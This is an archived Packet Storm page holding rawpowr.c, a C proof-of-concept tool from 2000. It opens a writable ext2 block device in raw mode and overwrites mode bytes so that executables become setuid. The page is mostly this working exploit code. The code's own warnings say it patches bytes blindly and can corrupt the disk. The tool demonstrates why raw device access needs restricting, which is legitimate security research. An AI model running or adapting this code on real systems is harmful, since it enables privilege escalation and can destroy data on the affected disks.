what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

rawpowr.c

rawpowr.c
Posted Feb 8, 2000
Authored by Mixter | Site mixter.void.ru

rawpowr.c can access a block device containing an EXT2 file system in raw mode, changing all executables into suid executables. this demonstrates that security can easily be breached as soon as block devices are directly writable by the attacker.

SHA-256 | f5afd86837980a670a4ef1348fba298322ae697efa523ae82d8a9196380a98bf

rawpowr.c

Change Mirror Download
/*
* rawpowr 0.1, Jan 2000 by Mixter
*
* This tool will try to read inode tables from a ext2 partition in raw mode,
* and change bytes that indicate umask 755 for a file to umask 4755. It could
* be used to create suid root binaries from any files on a ext2 filesystem
* that can be written to. This demonstrates that most block devices should
* not be directly accessible by users at any time, and that systems should be
* run under a securelevel where raw access to such devices is impossible.
*
* WARNING! WARNING! WARNING! This not only performs raw operations on your
* harddisk, but also very sloppy ones (i.e. replace occurences of a special
* byte with another one, without honoring the ext2fs structure). Do NOT use
* this on active or mounted partitions! Do NOT use this on partitions with
* valuable non-backed-up data. I suggest you try this with a ext2fs floppy
* disk. I am not responsible for any damages this thingie might cause :).
*/

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>

/* This is the offset where my first file on a "virgin" ext2fs
was located. This offset is relatively tiny, and therefore, probably
only the first few binaries in the root directory get chmod +s'ed */

#define E2_DATA_START 278528
#define E2_MODE_755 '\x81'
#define E2_MODE_4755 '\x8d'

void
ewsage (char *x)
{
printf ("usage: %s <writable block device>\nthis tries to change normal files to suid binaries\n", x);
exit (0);
}

int
main (int argc, char **argv)
{
char inodes_raw[E2_DATA_START];
int effdee;
long r, i;

if (argc != 2)
ewsage (argv[0]);

(void) sync ();

printf ("rawpower by Mixter\nWarning: this program performs dangerous operations on block devices...\n\t Hit ctrl+c to terminate now!\n");
sleep (5);

if ((effdee = open (argv[1], O_RDWR)) == -1)
{
perror ("opening filesystem");
ewsage (argv[0]);
}

printf ("Reading from device...");
r = read (effdee, inodes_raw, E2_DATA_START);
printf (".");
if (r < E2_DATA_START)
r += read (effdee, inodes_raw + r, E2_DATA_START - r);
printf (".");
if (r < E2_DATA_START)
r += read (effdee, inodes_raw + r, E2_DATA_START - r);
printf (".");
if (r < E2_DATA_START)
r += read (effdee, inodes_raw + r, E2_DATA_START - r);
printf (".");
if (r < E2_DATA_START)
r += read (effdee, inodes_raw + r, E2_DATA_START - r);
printf (".\n");

for (i = 0; i < E2_DATA_START; i++)
{
if (inodes_raw[i] == E2_MODE_755)
{
inodes_raw[i] = E2_MODE_4755;
printf ("Changing possible permission byte at offset: %ld\n", i);
}
}

lseek (effdee, 0, SEEK_SET);

printf ("Writing to device...");
i = write (effdee, inodes_raw, r);
printf (".");
if (i < r)
i += write (effdee, inodes_raw + i, r - i);
printf (".");
if (i < r)
i += write (effdee, inodes_raw + i, r - i);
printf (".");
if (i < r)
i += write (effdee, inodes_raw + i, r - i);
printf (".");
if (i < r)
i += write (effdee, inodes_raw + i, r - i);
printf (".\n");

close (effdee);
(void) sync ();

printf ("Synching disk, done! (Now try: find /mountpoint -perm 4000)\n");

return 0;
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close